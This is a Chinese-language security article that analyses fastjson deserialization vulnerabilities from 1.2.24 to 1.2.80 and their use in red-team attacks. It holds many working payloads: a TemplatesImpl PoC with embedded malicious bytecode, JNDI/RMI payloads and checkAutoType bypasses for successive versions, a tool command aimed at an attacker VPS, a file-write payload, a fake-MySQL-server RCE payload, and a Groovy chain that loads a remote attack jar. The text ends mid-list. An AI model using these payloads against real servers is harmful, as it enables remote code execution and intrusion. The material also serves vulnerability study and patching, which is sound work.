fastjson反序列化漏洞与实战化利用
2023-2-14 17:49:45 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏


赛博空间,攻防之战,此起彼伏

矛与盾的对决,攻与守的碰撞

在这里,我们一起来看

道德黑客使用了哪些杀手锏

正义蓝军如何见招拆招

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式,还可用于将 JSON 字符串转换为 Java 对象。Fastjson目前在github上已经有超过25k的star了,能够如此受到大家的热爱,是因为Fastjson相较于其他JSON类库在服务器端和安卓客户端上提供更优越的性能,是目前Java语言中最快的JSON库,并且支持任意复杂的对象(具有深度继承层次结构和广泛使用泛型类型)。因此,对于这种广泛被大家使用的组件必然成为安全研究的重点,所以会有一些深度的漏洞被发现。在攻防实战期间,我们会经常遇见使用了该组件的系统,针对不同版本、不同环境的利用思路会有些不同。本文总结了Fastjson各版本的漏洞分析及利用情况,并介绍了Fastjson 在攻防实战中的利用情况。

fastjson基础知识介绍
01
什么是JSON

JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。由于JSON层次结构清晰简洁,因而成为理想的数据交换语言,易于阅读和编写,同时也易于机器解析和生成,并有效地提升了网络传输效率。

02
什么是Fastjson

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean,项目地址为:https://github.com/alibaba/fastjson

相对其他 JSON 库,Fastjson 的特点是快,从 2011 年 Fastjson 发布1.1.x版本之后,其性能从未被其他 Java 实现的 JSON 库超越。Fastjson使用广泛,用户基数巨大,在2012年被开源中国评选为最受欢迎的国产开源软件之一,一旦有爆发漏洞,受影响范围会非常广。对于开发者来说,fastjson的API十分简洁,很容易上手使用,支持泛型,支持流处理超大文本,支持枚举,支持序列化和反序列化扩展。

03
什么是JNDI

说起fastjson的反序列化漏洞,那肯定离不开JNDI,那什么是JNDI呢?

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展,两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性。

JNDI支持多种命名和目录提供程序(Naming and Directory Providers),JNDI可访问的现有目录及服务包括:JDBC、LDAP、RMI、DNS、NIS、CORBA。

  • 命名服务:命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

  • 目录服务:目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

04
什么是JNDI注入

fastjson的漏洞利用离不开JNDI注入,JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。基于JNDI的利用可以让Fastjson反序列化。

Fastjson序列化与反序列化

首先,我们介绍下Fastjson的常用方法。

新建一个简单的maven项目,引入fastjson依赖。

<dependency>            

     <groupId>com.alibaba</groupId

     <artifactId>fastjson</artifactId

     <version>1.2.24</version>       

                                </dependency>

创建Person.java

public class Person {    

    private String name;    

    private Integer age;    

    public String getName(){        

        System.out.println("call getname");  

        return name;    

    }   

     public void setName(String name)  {           System.out.println("call setname"); 

       this.name=name; 

   }

    public Integer getAge(){ 

       System.out.println("call getage"); 

       return age;

    }

    public void setAge(Integer age){ 

       System.out.println("call setage"); 

       this.age=age;

    }

}

创建fastjsontest.java

public class fastjsontest {

    public static void main(String[] args) { 

       Person person1=new Person(); 

       person1.setName("tom"); 

       person1.setAge(18); 

       System.out.println(person1);

       System.out.println("..........................");

        Person person2 = new Person();

        person2.setName("Lisa"); 

       person2.setAge(20);

        String str2 = JSONObject.toJSONString(person2, SerializerFeature.WriteClassName) 

       System.out.println(str2); 

       System.out.println(".........................."); 

       String str3 ={\"@type\":\"com.fastjson.test.Person\",\"age\":20,\"name\":\"Lisa\"}";        Object obj1 = JSONObject.parse(str3);        System.out.println(obj1);

       System.out.println(".........................."); 

       Object obj2 = JSONObject.parseObject(str3); 

       System.out.println(obj2); 

       System.out.println("..........................");

    }

}

输出

重点关注parse()和parseObject()反序列化结果的区别。从结果上看,一个输出对象地址,一个输出json数据,一个调用set方法,一个set和get方法都调用了。这里,我们调试下parseObject()来看下区别,这里不一样的是parseObject方法多执行了(JSONObject) JSON.toJSON(obj)

跟进JSON.toJSON()方法,在902行会调用

com.alibaba.fastjson.serializer.JavaBeanSerializer#getFieldValuesMap(),这个方法会触发传入对象的get方法,具体就是根据反射来进行调用,然后在904行可以看到将对象中的属性和值变成了json格式返回,所以这就是为什么会调用所有的get方法以及有json数据的输出。

parse()方法会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于还执行了 JSON.toJSON(obj),所以会调用目标类的所有 setter 和 getter 方法。而特定条件的getter方法需要具备什么条件呢?在代码

fastjson-1.2.24-sources.jar!/com/alibaba/fastjson/util/JavaBeanInfo.java:490开始就定义了获取get方法的规则:方法名需要大于等于4,不是静态方法,以get开头且第四个字母为大写,方法不能有参数传入,方法的返回类型需要继承自Collection 、 Map 、 AtomicBoolean 、AtomicInteger 、 AtomicLong之一,且此getter不能有setter方法。

for (Method method : clazz.getMethods()) { // getter methods

            String methodName = method.getName();

            if (methodName.length() < 4) { 

               continue;

            }

            if (Modifier.isStatic(method.getModifiers())) {

                continue;

            }

            if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) { 

               if (method.getParameterTypes().length != 0) {

                    continue;

                }

                if (Collection.class.isAssignableFrom(method.getReturnType()) //

              ||Map.class.isAssignableFrom(method.getReturnType())//                || AtomicBoolean.class == method.getReturnType() // 

              || AtomicInteger.class == method.getReturnType() // 

              || AtomicLong.class == method.getReturnType() //                ) { 

                   String propertyName;

                    JSONField annotation = method.getAnnotation(JSONField.class);

                    if (annotation != null && annotation.deserialize()) {                        continue;

                    }

                    if (annotation != null && annotation.name().length() > 0) { 

                       propertyName = annotation.name();

                    } else { 

                       propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);

                    }

                    FieldInfo fieldInfo = getField(fieldList, propertyName);                    if (fieldInfo != null) {

                        continue;

                    }

Fastjson反序列化漏洞分析

在了解了Fastjson的基础知识后,我们再来分析Fastjson反序列化漏洞就简单多了。利用链的构造就是选择某个类的set/get方法,直接或间接地触发漏洞。在下面各版本的漏洞分析中,我们会发现个版本不断出现新的恶意类。接下来,我们就分析下这些链的具体触发方式以及构造poc时的注意要点。

01
Fastjson 1.2.24 TemplatesImpl

poc如下:

public class Fastjson_TemplatesImpl {

    public static void main(String[] args) {

        String str4="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAHTFNoZWxsOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAqAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKBwArDAAsAC0BAAhjYWxjLmV4ZQwALgAvAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMAAKAQAFU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAABmAAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQACAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAAAEAEgATAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAUAA0AAAAgAAMAAAABABAAEQAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAYAA0AAAAqAAQAAAABABAAEQAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA=\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ }}";

        Object obj2 = JSONObject.parse(str4, Feature.SupportNonPublicField);

        System.out.println(obj2);

    }

}

利用链就不分析了,网上有很多相关介绍,这里主要讲下这个poc的几个注意点:

  • _name属性不能为空,不然直接return null了,所以在payload中对其_name属性进行了定义,并传入值。

  • _class属性要为空,才能使其执行defineTransletClasses()方法,当_bytecodes不为空时,会调用TransletClassLoad的defineClass()方法加载位于_bytecodes中的恶意类字节码到内存,并将返回的恶意类赋值_class属性。

  • 恶意类要继承AbstractTranslet类,原因就是这里在实例化的时候源码中对其进行了强制类型转换。

  • 调用fastjson还原json为对象时需要带上Feature.SupportNonPublicField这个属性,因为在默认情况下只会去反序列化public修饰的属性。在poc中,bytecodes、name、_tfactory都是私有属性,所以想要反序列化私有属性,需要加上Feature.SupportNonPublicField属性,这个属性在1.2.22版本才引入的,在1.2.25版本就被修复。

  • TemplateImapl中只有属性变量_outputProperties,没有属性outputProperties,所以调用的方法应该是get_outputProperties,那getOutputProperties()方法是如何触发的呢?在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch中会对传入的属性进行一些操作,如果发现以_或-开头的Filed(属性方法),会将_或-去掉。

  • 设置_outputProperties是为了在反序列化过程中调用TemplatesImpl类中的getoutputProperties()方法触发漏洞点。

  • _bytecodes值需要base64加密,是因为在反序列过程中会对其进行base64解密。

02
Fastjson 1.2.24 JdbcRowSetImpl

poc如下:

public class Fastjson_JdbcRowSetImpl {

    public static void main(String[] args) throws Exception {

        //<=1.2.24

        String payload = "{\r\n"

                + "    \"a\": {\r\n" 

                + "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"

                + "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n" 

                + "        \"autoCommit\": true\r\n"

                + "    }\r\n"                + "}"; 

       System.out.println(payload);

        JSON.parse(payload);

        }

}

注意:该利用链的原理即为JNDI注入,所以利用条件受JNDI注入的限制。

  • JDK 6u457u21之后:

    java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。

  • JDK 6u1417u1318u121之后:

    增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项。

  • JDK 6u2117u2018u191之后:

    增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项。

  • 高版本JDK下JNDI漏洞的利用方法可参考:

    https://tttang.com/archive/1405/

使用JNDI注入利用工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

命令:

java -jar jndi-injection-exploit-plus-1.7.jar -C "calc" -A "VPS-IP"

03
Fastjson 1.2.25-1.2.41 绕过

Fastjson1.2.25中使用了checkAutoType()方法来进行修复,在checkAutoType()中增加了autoTypeSupport和黑白名单校验,主要经过如下四种情况的判断:

  • 在开启autoTypeSupport的情况下,先判断类名是否在白名单里面,如果在,则直接加载类;如果不在,则接着判断是否在黑名单里面;如果在黑名单里面,则直接抛出异常。

  • 第二种mappingdeserializers缓存里面寻找类。

  • 在关闭autoTypeSupport情况下,需先判断类名是否。黑名单里面,如果直接抛出异常;如果不在就接着判断是否在白名单里面如果在白名单里面,直接加载类。

  • 在开启autoTypeSupport情况下,直接加载类。

黑名单如下:

"bsh"

"org.apache.commons.collections.functors"

"javax.xml"

"org.apache.commons.fileupload"

"com.sun."

"org.apache.tomcat"

"org.springframework"

"java.lang.Thread"

"org.codehaus.groovy.runtime"

"org.apache.commons.beanutils"

"org.apache.commons.collections.Transformer"

"org.apache.wicket.util"

"java.rmi"

"java.net.Socket"

"com.mchange"

"org.jboss"

"org.hibernate"

"org.mozilla.javascript"

"org.apache.myfaces.context.servlet"

"org.apache.bcel"

"org.apache.commons.collections4.comparators"

"org.python.core"

在Fastjson 1.2.25中autoTypeSupport默认是不开启的,我们可以通过代码手动开启autoTypeSupport。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

在TypeUtils.loadClass()方法中会对类名进行如下判断:

  • 如果类名是以[开头,我们会去掉[进行加载

  •  如果类名是以L开头;结尾,就会去掉开头和结尾进行加载

因此bypass payload可以构造成如下形式(需要开启autoTypeSupport):

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/remoteExploit8", "autoCommit":true}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1099/remoteExploit8", "autoCommit":true}

04
Fastjson 1.2.25-1.2.42 绕过

从1.2.42版本开始,checkAutoType()方法里的黑名单校验采用了哈希黑名单的校验方式,目的是为了防止我们对黑名单进行绕过,已经破解出的黑名单可参见:https://github.com/LeadroyaL/fastjson-blacklist

在checkAutoType()中对类名进行了一定的处理,发现如果传入的类名是以L开头;结尾,就会去掉开头和结尾再进行后面的黑白名单校验。因此,可以很容易就想到绕过的payload,双写L和;即可,而以[开头的payload和之前一样还是可以bypass,所以可以利用如下playload(需要开启autoTypeSupport):

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1099/remoteExploit8", "autoCommit":true}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1099/remoteExploit8", "autoCommit":true}

05
Fastjson 1.2.25-1.2.43 绕过

1.2.43版本中checkAutoType()方法里面在检测类名时,如果发现开头是连续出现两个L直接抛异常,因此以L开头;结尾的payload就用不了了,但依旧没有对以[开头的payload进行处理,所以可以利用如下playload(需要开启autoTypeSupport):

{"@type":"[com.sun.rowset.JdbcRowSetImpl"

[{,"dataSourceName":"rmi://127.0.0.1:1099/remoteExploit8", "autoCommit":true}

06
Fastjson 1.2.25-1.2.45 绕过

1.2.44版本中checkAutoType()方法里面在检测类名时,如果发现开头第一个字符为[时,则抛出异常。因此,对用[绕过的payload做了限制。而这次是通过不在黑名单里面的类来进行绕过,借助第三方组件,需要mybatis,且版本需为3.x.x系列<3.5.0的版本,payload如下(需要开启autoTypeSupport):

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":

{"data_source":"rmi://127.0.0.1:1099/remoteExploit8"}}

原理:反序列化时调用

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties()方法,内部调用javax.naming.Context#lookup()方法,触发JNDI注入。

07
Fastjson 1.2.25-1.2.47 绕过

在1.2.46版本中将

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory加入了黑名单,在1.2.47中通过利用类缓存机制,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

这里在利用时可以分为两个阶段:

  • 1.2.25-1.2.32版本:前提条件是不能开启AutoTypeSupport,原理大致是在第一次进入checkAutoType()方法时,因为没有开启autoTypeSupport,并且加载的是Class类,所以可以从deserializers中加载到。接着进入MiscCodec#deserialze()方法中将加载val键值的类并加入缓存mappings中,在第二次进入checkAutoType()方法时因为加载的类名com.sun.rowset.JdbcRowSetImpl在缓存中已存在,所以可以直接加载,进而利用成功。

  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用。原理和上面版本分析的差不多,只不过在这个版本区间内,当开启AutoTypeSupport 时,第一次进入checkAutoType()方法,同样将加载val键值的类并加入缓存mappings中,而在第二次进入checkAutoType()中时对黑名单检测多了一个与条件判断,这个与条件判断为

    TypeUtils.getClassFromMapping(typeName) == null。当恶意类名的哈希匹配中黑名单哈希时,返回true,而加载的类此时已经在mappings中了,所以这个判断TypeUtils.getClassFromMapping(typeName) == null 就返回false,true和false进行与运算就返回false,也就跳出if语句不抛出异常,后面就正常通过缓存加载类;当不开启AutoTypeSupport 时,在第二次进入checkAutoType()中就直接从缓存中加载。

payload如下:

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

       "@type":"com.sun.rowset.JdbcRowSetImpl",

      "dataSourceName":"rmi://127.0.0.1:1099/remoteExploit8",

      "autoCommit":true

    }

}

08
Fastjson 1.2.48 修复

这个版本修复了1.2.47的通杀,具体修复的方案是在com.alibaba.fastjson.util.TypeUtils#loadClass()中对cache的值进行了判断。如果为true才允许mappings.put(className, clazz),否则不加入mappings中,而cache的默认值被修改为false,导致在第二次进入checkAutoType()中时,TypeUtils.getClassFromMapping(typeName) == null获取为空,返回true,则抛出异常。

09
 Fastjson <= 1.2.62

这个版本利用的主要是构造新的利用链,需要目标服务器存在xbean-reflect包,payload如下(需要开启autoTypeSupport):

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/remoteExploit8"}

原理:反序列化时调用

org.apache.xbean.propertyeditor.JndiConverter#setAsText()方法,一路跟进最后会调用

org.apache.xbean.propertyeditor.JndiConverter#toObjectImpl()方法,该方法会调用javax.naming.InitialContext#lookup()触发JNDI注入漏洞。

10
Fastjson <= 1.2.66

这时依旧是构造新的利用链来进行绕过。

利用链一:需要目标服务器存在shiro-core包,payload如下(需要开启autoTypeSupport):

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["rmi://127.0.0.1:1099/remoteExploit8"], "Realms":[""]}

原理:首先调用

org.apache.shiro.realm.jndi.JndiRealmFactory#setJndiNames()方法,设置jndiNames为恶意的ldap / rmi服务地址,然后调用

org.apache.shiro.realm.jndi.JndiRealmFactory#getRealms(),触发

org.apache.shiro.jndi.JndiLocator#lookup()方法导致JNDI注入漏洞。

利用链二:需要目标服务器存在Anteros-Core和Anteros-DBCP包,payload如下(需要开启autoTypeSupport):

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"rmi://127.0.0.1:1099/remoteExploit8"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"rmi://127.0.0.1:1099/remoteExploit8"}

原理:在

br.com.anteros.dbcp.AnterosDBCPConfig#getObjectOrPerformJndiLookup()方法中存在JNDI注入,且地址可控,有setMetricRegistry()和setHealthCheckRegistry()方法,会触发getObjectOrPerformJndiLookup()方法的执行。因此,这两个payload都可以使用。

利用链三:需要目标服务器存ibatis-sqlmap和jta包,payload如下(需要开启autoTypeSupport):

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"rmi://127.0.0.1:1099/remoteExploit8"}}

原理:

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig#setProperties()方法中存在JNDI注入,地址可控,来源于传入的properties中的UserTransaction的属性值。

11
Fastjson <= 1.2.67

这里存在两条利用链。

利用链一:需要目标服务器存在ignite-core、ignite-jta和jta依赖,payload如下(需要开启autoTypeSupport):

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["rmi://127.0.0.1:1099/remoteExploit8"], "tm": {"$ref":"$.tm"}}

原理:通过

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup#setJndiNames()设置jndiNames为恶意的 ldap/rmi 地址,接着调用

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup#getTm()方法,触发JNDI注入。poc中的"{$ref":"$.tm"}相当于调用根对象的getTm()方法,也就是触发tm字段的getter方法。

利用链二:需要目标服务器存在shiro-core依赖,payload如下(需要开启autoTypeSupport):

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"rmi://127.0.0.1:1099/remoteExploit8","instance":{"$ref":"$.instance"}}

原理:通过

org.apache.shiro.jndi.JndiObjectFactory#setResourceName()设置resourceName为恶意的 ldap/rmi 地址,然后调用org.apache.shiro.jndi.JndiObjectFactory#getInstance()触发JNDI注入。

12
Fastjson <= 1.2.68

该漏洞和之前1.2.47一样,在不开启autoTypeSupport的情况下也能导致反序列漏洞产生,但是在利用上存在一定的限制,下面进行简单的说明。

这次的绕过利用的是

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)方法中的第二个参数expectClass,可以在autoTypeSupport关闭的情况下,绕过ParserConfig#checkAutoType()的安全校验,从而反序列化指定类,但是需要满足下面的条件:

  • expectClass不为null,且不等于Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.class;

  • expectClass需要在缓存mappings中;

  • expectClass和typeName不在黑名单中,typeName不是ClassLoader、DataSource、RowSet的子类;

  • typeName是expectClass的子类。

对于这个漏洞的利用点有两个:JavaBeanDeserializer和ThrowableDeserializer,这两个是fastjson的反序列化器,在它们的deserialze()方法中会调用com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)以绕过checkAutoType的安全检测。

 

对于JavaBeanDeserializer#deserialze()和

ThrowableDeserializer#deserialze(),都是在checkAutoType()方法执行完后调用。对于反序列化器是通过ParserConfig#getDeserializer(clazz)方法来返回的,这里的clazz为@type的值对应的类,下面为返回这两个反序列化器的情况:

  • 当clazz是Throwable的子类时,那么就返回ThrowableDeserializer,此时@type的值就是Throwable的子类;

  • 当clazz不满足所有条件时,就返回JavaBeanDeserializer。

利用点一:下面是利用ThrowableDeserializer反序列化器的payload(无需开启autoTypeSupport)。由于利用的是Throwable异常类,但目前还没公开针对Throwable这个利用点的RCE gadget,所以这个利用点较为鸡肋,但如果存在selenium依赖,则可以导致信息泄露:

{"x": {"@type":"java.lang.Exception", "@type":"org.openqa.selenium.WebDriverException"}, "y":{"$ref":"$x.systemInformation"}}

这里说明下payload中$ref的参数:

分析:在第一次进入checkAutoType()方法时,由于java.lang.Exception在mappings中,可以正常加载,因为clazz为Throwable的子类,所以返回的是ThrowableDeserializer反序列化器。

接着在ThrowableDeserializer#deserialze()方法中调用ParserConfig#checkAutoType()方法,由于存在expectClass,使得expectClassFlag为true,导致成功加载到exClass。

后面就是常规调用到getSystemInformation()方法返回系统信息。

利用点二:下面是利用JavaBeanDeserializer反序列化器的payload(无需开启autoTypeSupport)

{

  "@type":

  "java.lang.AutoCloseable",

  "@type": "java.io.FileWriter",

  "file": "/tmp/nonexist",

  "append": "false"

}

分析:在第一次进入checkAutoType()方法时,由于java.lang.AutoCloseable在mappings中,可以正常加载。在clazz不满足所有条件时,返回的就是JavaBeanDeserializer反序列化器。

 

接着在JavaBeanDeserializer#deserialze()方法中调用ParserConfig#checkAutoType()方法,由于存在expectClass,使得expectClassFlag为true,导致成功加载到userType。

后面就是解析参数,在反序列化过程中会调用目标类的public类型的构造方法:如果存在无参构造方法,则将其作为构造方法供后续实例化使用;否则使用参数数量最多且排在最前面的构造方法。

上面给出的两个payload只是示例,还有很多读写文件的payload,网上也公开了相关信息,感兴趣的读者可以在网上自行搜索一下。这里给出一个利用 Mysql JDBC RCE的payload(MySQL 5.1.11至5.1.48可反序列化 ):

{

   "@type":"java.lang.AutoCloseable",

   "@type":

 "com.mysql.jdbc.JDBC4Connection",

   "hostToConnectTo": "127.0.0.1",

   "portToConnectTo": 3306,

   "info":

   {

       "user": "yso_CommonsCollections6_calc", // 利用链,具体用法参考工具说明

       "password": "pass",

       "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",

       "autoDeserialize": "true",

       "NUM_HOSTS": "1" 

  },

   "databaseToConnectTo": "dbname",

   "url": ""

}

Fake Mysql工具地址:

https://github.com/fnmsd/MySQL_Fake_Server,具体用法可见项目地址。

python3 server.py

因为本地测试环境存在cc链依赖,所以命令执行成功。

还有针对Mysql 6.0.x版本以及8.0.x版本的反序列化,这里就不演示了,注意修改下payload即可。

13
Fastjson <= 1.2.80

该漏洞和之前1.2.68一样,在不开启autoTypeSupport的情况下也能导致反序列漏洞产生,利用的是ThrowableDeserializer反序列化器来构造payload的,在1.2.68就分析过此利用点的利用过程,前不久网上公开了针对异常类的利用思路和Gadget,这里简单分析下。

网上公开的利用链很多,这里简单分析其中一条可以RCE的利用链,该链需要目标服务器存在Groovy依赖。

// payload1

{

 "@type":"java.lang.Exception",       "@type":"org.codehaus.groovy.control.CompilationFailedException",

    "unit":{}

}// payload2

{

    "@type":"org.codehaus.groovy.control.ProcessingUnit",

 "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",

    "config":{

     "@type":"org.codehaus.groovy.control.CompilerConfiguration",        "classpathList":"http://127.0.0.1:8081/attack-1.jar"

    }

}

和上文一致,利用思路是首先在

com.alibaba.fastjson.parser.ParserConfig#checkAutoType 方法中,只要expectClass不为null,且类Class对象和expectClass之间存在继承关系以及满足一些其他条件,就会调用 TypeUtils.addMapping(typeName, clazz)方法,将类Class对象缓存到mappings中,从而绕过checkAutoType()方法的检测,如下所示:

接着往下继续跟,会先获取exClass的反序列化器,并将exClass加入deserializers中,然后开始解析异常类的字段,调用exBeanDeser.getFieldDeserializer(key) 方法,根据字段名key获取对应字段的反序列化器,当value不是字段类的实例时,就会调用TypeUtils.cast(),跟进该方法。

一路跟进到TypeUtils#castToJavaBean()方法,这里调用ParserConfig#getDeserializer()方法获取反序列化器,并将clazz加入deserializers中(clazz为org.codehaus.groovy.control.ProcessingUnit),利用这个特性我们可以将类字段所属的类加入到deserializers中,后续对类名进行checkAutoType()检测时,可以直接从deserializers中获取,从而绕过对checkAutoType()的检测,这也是1.2.80绕过的一个重点。

后面进行实例化,实例化的结果是 null,抛出异常,来到第二个payload中。由于在第一个payload中已经将org.codehaus.groovy.control.ProcessingUnit加入到deserializers,所以能够正常加载到类。

 

继续往下走,通过expectClass绕过checkAutoType(),将org.codehaus.groovy.tools.javac.JavaStubCompilationUnit加入缓存,获取反序列化器,并进入ObjectDeserializer#deserialze()方法中,然后解析参数,当传入的值匹配中参数名时,则调用parseField()方法。

在 DefaultFieldDeserializer#parseField() 方法中会调用 getFieldValueDeserilizer() 方法,跟进该方法。

这里会调用 config.getDeserializer() 方法,该方法会将传入的类加入到deserializers中,这里传入的是字段对应的类,因此可以利用这个方式,来对利用链进行构造。

后面的过程就是循环解析属性,实例化类的属性(包括setter方法的参数、public field参数或者是构造方法的参数)的类型会被添加到deserializers中,等参数全部赋值完后,进行类的实例化,调用类中参数最多的构造方法、符合条件的set方法等,最终触发groovy的反序列化链。

Fastjson在攻防实战中的利用

鉴于Fastjson的广泛使用,在攻防实战中,Fastjson 漏洞也成为攻击队的一个重要入手点。下面,我们简要介绍下Fastjson 在攻防实战中的漏洞利用情况。

01
JSON类型区分

JSON可以分为四类:Fastjson、Jackson、Gson以及org.json,下面介绍了这四类的不同特点:

(1)Fastjson:

  • 浮点精度不丢失,其他 json 解析库在解析json时会丢失;

  • 根据响应状态来判断,如果是fastjson会对@type做出响应,比如可能会卡一会;

  • DNSLOG 探测 fastjson.

(2)Jackson:

  • 添加多余kv 会报错;

  • 不支持单引号作为界定符,用单引号会报错;

  • 使用注释符 /*#xxx;

  • 浮点精度会丢失

(3)Gson:

  • 向整数类型的值传浮点数会报错;

  • 遇到 # 时都会当注释符处理;

  • 再拼接一个json字符串时可能会报错;

(4)org.json:

